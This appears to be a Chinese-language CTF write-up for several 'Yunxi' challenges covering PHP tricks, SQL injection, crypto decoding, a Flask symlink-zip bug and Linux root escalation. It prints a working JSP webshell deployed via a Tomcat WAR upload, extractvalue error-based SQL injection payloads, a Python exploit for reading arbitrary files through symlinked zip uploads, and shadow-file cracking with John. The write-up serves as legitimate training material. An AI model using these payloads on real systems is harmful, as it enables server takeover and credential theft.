1z_php
先看代码
invatal()它的作用就是把字符串类型转换成整数型
语法为"intval(var\[,base])"
$var:这是一个必需参数,用作需要转换为整数值的变量。
base:它是一个可选参数,指定var转换为相应整数的基础。如果未指定base。如果var包含0x(或0X)作为前缀,则将base视为16。如果$var包含0,则基数为8 否则,基数为10。
要求是字符串0o0的第一个字符串是2023并且总体的值等于2023
传入0o0参数和OoO(两个参数不一样),将2023赋值给OoO,此时OoO的数值用intval函数返回值为2023
?0o0[]=2023&OoO[]=2023.1
eg
echo intval(42a); // 0
echo intval(42.1); // 42
签到O.o?
打开题目是一个登录框,我们知道了密码需要爆破一下用户名
用户名manager密码1q2w3e4r,输入之后就会显示登录成功,之后需要上传文件,不知道上传sm
发现是关于Apache Tomcat/8.0.43的漏洞
找到jsp一句话木马文件,密码没有改,是passwd
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
然后压缩成为zip格式,再把后缀名改成war,上传成功会显示OK
最后运用蚁剑连接一下
1z_sql
<?php
error_reporting(0);
$dbusername ='root'; //数据库名称设置和用户登录参数不能设置为一样
$dbpassword ='root';
$dbname ="kind";
$servername = 'localhost';
$conn = new mysqli($servername, $dbusername, $dbpassword, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
//echo "连接成功";
function waf($str){
$str=trim($str);
$str=addslashes($str);
$str=preg_replace("/\+|\*|\`|\/|\-|\$|\#|\^|\!|\@|\%|\&|\~|\^|\[|\]|\'|\)|\(|\"/", "", $str);//去除特殊符号+*`/-$#^~!@#$%&[]'"
$str=preg_replace("/\s/", "", $str);//去除空格、换行符、制表符
return $str;
}
function waf2($str){
$black_list = "/=|and|union|if|sleep|length|substr|floor|updatexml/i";
if(preg_match($black_list,$str))
{
echo "<br>";
echo "你注你🐎呢";
echo "<br>";
}
else{
return $str;
}
}
$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
$IP = $_SERVER['REMOTE_ADDR'];
if(isset($_POST['username']) && isset($_POST['password']))
{
$username = waf($_POST['username']);
$password = waf($_POST['password']);
$uagent = waf2($uagent);
$sql="SELECT username,password FROM sheet1 WHERE username='$username' and password='$password'";
$result1 = mysqli_query($conn,$sql);
$row1 = mysqli_fetch_array($result1);
if($row1)
{
//echo '< font size = 3 >';
$insert="INSERT INTO `uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent','$IP','$username')";//定义一个新表来写入内容,新表名称叫做uagents
// echo $insert;
// echo "<br>";
mysqli_query($conn,$insert);
//echo 'Your IP ADDRESS is: ' .$IP;
echo "</font>";
//echo "<br>";
//echo '<font size = 3 >';
echo 'Your User Agent is: ' .$uagent;
echo "</font>";
echo "<br>";
print_r(mysqli_error($conn));
echo "<br><br>";
echo "<br>";
//echo 'your uname is: '.$username;
echo "不错嘛能登上,加油!看看回显信息有思路了没有?";
}
else
{
//echo '<font size="3">';
//echo "Try again looser";
//print_r(mysqli_error($conn));
echo "</br>";
echo "</br>";
echo "</font>";
echo "这都不行?还不好好学?";
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>真的很简单</title>
</head>
<body>
<h1>登录</h1>
<p>Here is a poor page!</p>
<h2>
<form method="post" action="<?php echo htmlspecialchars($_SERVER["PHP_SELF"]);?>">
username: <input type="text" name="username"><br>
password: <input type="password" name="password"><br>
<input type="submit" name="登录" value="登录"/>
</form>
</h2>
<h3>
</h3>
</body>
</html>
配置数据库连接参数:定义了数据库的用户名(dbusername)、密码(dbpassword)、数据库名称(dbname)和服务器名称(servername)。
建立数据库连接:使用mysqli类创建了一个数据库连接对象$conn,连接到指定的数据库。
定义了两个过滤函数:
waf($str):用于过滤用户输入的字符串,去除特殊字符和空白符。
waf2($str):用于检测用户输入的字符串是否包含黑名单中的关键词,如果包含则输出提示信息。
获取用户的HTTP_USER_AGENT和REMOTE_ADDR:从$_SERVER变量中获取用户的User-Agent和IP地址。
处理登录表单的提交:
通过isset()函数检查是否提交了用户名和密码。
使用waf()函数过滤输入的用户名和密码。
使用waf2()函数检测User-Agent是否包含黑名单关键词。
构建SQL查询语句,查询数据库中是否存在匹配的用户名和密码。
如果查询成功,将User-Agent、IP地址和用户名插入到uagents表中,并输出一些信息。
如果查询失败,输出一些错误信息。
主要就是需要绕过两个waf
登陆成功抓包,源代码提示在UA进行注入
$uagent = $_SERVER['HTTP_USER_AGENT']; //在agent处进行注入
数据库为kind
表
用bp这有实现这几句话,后面就用hackbar了,答案也是被截断,需要进行拼接。
Yunxi{cb0fb8571956248eb37e8b0007572519}
payload
1',2,(extractvalue(1,concat(0x5c,database(),0x5c))))#
1',2,(extractvalue(1,concat(0x5c,(select group_concat(table_name) from
information_schema.tables where table_schema like "kind"),0x5c))))# //sheet1 、 uagent
1',2,(extractvalue(1,concat(0x5c,(select group_concat(column_name) from
information_schema.columns where table_schema like "kind" && table_name like
"sheet1"),0x5c))))# //username 、 password
1',2,(extractvalue(1,concat(0x5c,(select group_concat(username,password) from
kind.sheet1),0x5c))))# //admin8888888,fllllaaagYunxi{
1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),33) from kind.sheet1),0x5c),10))))#
//cb0fb8571956248eb37e8b000757
1',2,(extractvalue(1,concat(0x5c,left((select
right(group_concat(username,password),10) from kind.sheet1),0x5c),10))))#
//007572519}
extractvalue()函数是MySQL数据库中的一个内置函数,用于从XML数据中提取指定路径的值。在这个字符串中,它被用于构造一个错误,以便在错误消息中插入一些数据。
concat()函数用于将多个字符串连接起来。在这个字符串中,它被用于构造一个包含特殊字符\和数据库名称的字符串。和group_concat差不多吧
0x5c是十六进制表示的反斜杠字符\,在这个字符串中用于分隔数据库名称
1z_AES
看一下代码,有了密钥和偏移量,可以找一个工具解密一下就可以了
注意密钥和偏移量不要填反了
1z_rsa
看代码
简单来说,需要两个质因数p,q满足phi(N) = (p-1)(q-1) ,那么有N = p * q 。还需要一个定义叫e的质数为公钥,满足gcd(e,phi(N)) = 1(e和phi(N)公约数为1)
yafu分解m
yafu用于自动整数因式分解,在RSA中,当p、q的取值差异过大或过于相近的时候,使用yafu可以快速的把n值分解出p、q值
将{}其中的MD5后与答案还是不一致,不知道哪里出错了
师兄新学的Decode姿势
题目给出的
const SM4 = require("gm-crypt").sm4;
var payload =
"inu7s0XGslLFsPe0xok/nxqwtceG0cuMoh7hBbpwyNBrn3g/lMdcFYobv/K++eRgWwI/TIA4qMtjqpNKOet
E3TD0gWoSknGF6OhkRJ3LxrNUZ/Mi8ISz3xrDLawIY8NwbalYcQUGWtVjdC3nJLmAAA67FmSCAn2EOcI1mAt
9yMQ=";
let sm4Config = {
key: "B6*40.2_C9#e4$E3",
mode: "ecb",
cipherType: "base64"
};
let sm4 = new SM4(sm4Config);
var result = sm4.decrypt(payload);
console.log("解密:" + result)
询问后 因为需要部署node.js环境比较复杂,就把他转换为python语言 ,这个是借用的
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives.padding import PKCS7
from cryptography.hazmat.backends import default_backend
import base64
payload = "inu7s0XGslLFsPe0xok/nxqwtceG0cuMoh7hBbpwyNBrn3g/lMdcFYobv/K++eRgWwI/TIA4qMtjqpNKOetE3TD0gWoSknGF6OhkRJ3LxrNUZ/Mi8ISz3xrDLawIY8NwbalYcQUGWtVjdC3nJLmAAA67FmSCAn2EOcI1mAt9yMQ="
key = b'B6*40.2_C9#e4$E3'
backend = default_backend()
cipher = Cipher(algorithms.SM4(key), modes.ECB(), backend=backend)
decryptor = cipher.decryptor()
decoded_payload = base64.b64decode(payload)
decrypted_data = decryptor.update(decoded_payload) + decryptor.finalize()
unpadder = PKCS7(algorithms.SM4.block_size).unpadder()
unpadded_data = unpadder.update(decrypted_data) + unpadder.finalize()
print("解密:", unpadded_data.decode())
运行结果如下
1z_flask
做的时候没有看这一题,以后还是要把题都看看才行
打开题目是一个登录框,尝试admin,但是提示说不是admin,然后随便输入一个,后面发现可以文件上传,上传zip文件。
上传之后就没有什么反应了,页面空白了,后面提示要用软连接,国赛的时候遇到过一次
软连接
类同与windos的快捷方式,给文件创建一个快速的访问路径,它依赖于原文件,与普通文件没什么不同,也就是说它相当于一个快捷方式。
硬链接
硬链接则是类似于文件备份
与国赛类似要软连接实现文件读取,软连接会导致任意文件读取
压缩一个软链接,类似于windows下的快捷方式,然后网站后台会解压读取该软链接指向的服务器上的文件,就能达到读取任意文件的效果。
ln -s /etc/passwd passwd
zip -y passwd.zip passwd
将zip文件上传看看,页面回显如下
这样就说明我们上传成功了
下面制作读取flag的软连接
ln -s /etc/flag flag
zip -y flag.zip flag
上传之后发现没有任何回显
因为可以实现任意账号密码登陆,猜测可能没有数据库,而是通过Cookie判断 ,回到刚刚上传页面看看cookie
eyJ1c2VybmFtZSI6IjEifQ.GBP1Mg.A5pibtVxXxGSPgYH7SSZyGAas8A
应该是被加密了,然后进行脚本解密
session脚本进行解密
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if name == 'main':
print(decryption(sys.argv[1].encode()))
flask
的session
构造是需要secret_key
的,(也就是伪造session)所以我们的目标是去找到这个值,访问Linux的/proc/self/environ
文件 ,它存放着环境变量
js
/proc是虚拟文件系统,存储当前运行状态的一些特殊文件,可以通过这些文件查看有关系统硬件及当前正在运行进程的信息,甚至可以通过++更改其中某些文件来改变内核的运行状态++,而environ是当前进程的环境变量列表
也是通过软连接的方式进行文件读取
ln -s /proc/self/environ environ
zip -y environ.zip environ
上传zip文件回显
存在UWSGI_INI=/app/uwsgi.ini
,也就是uwsgi 服务器的配置文件,uwsgi应用服务器,代理,进程管理及应用监控等功能,也是一个web服务器。
一般情况下存在
client ---> nginx ---> uwsgi --> flask后台程序
制作相关的软连接
ln -s /app/uwsgi.ini url
zip -y url.zip url
读取文件的exp
import os
import requests
import sys
def make_zip():
os.system('ln -s ' + sys.argv[2] + ' test_exp')
os.system('zip -y test_exp.zip test_exp')
def run():
make_zip()
res = requests.post(sys.argv[1], files={'the_file': open('./test_exp.zip', 'rb')})
print(res.text)
os.system('rm -rf test_exp')
os.system('rm -rf test_exp.zip')
if name == 'main':
run()
python3 1.py http://192.168.31.60:8084/upl0ad /app/uwsgi.ini
源码应是hard_t0_guess_bthclsbthcls.python_flask_edited_by_bthcls
python 1.py http://192.168.31.60:8084/upl0ad /app/hard_t0_guess_bthclsbthcls/bthcls.py
/proc/
全场最简单的真正的朴实无华的签到题
刚开始nc没有连接上,后面用ssh就可以连接上了,提权之后就可以找到了 /home/yunxi
做的时候是用非预期做的
实际过程的话需要我们进行一下爆破
把shadow的信息保存成xx.txt,然后就可以爆破了
John xx.txt
得到密码为fuckyou 输入之后就可以转换成root用户了
如果爆破失败了需要删掉之前,进行重新的保存,然后再去爆破
rm -r /root/.john/john.pot
john.pot存放解密过的字符串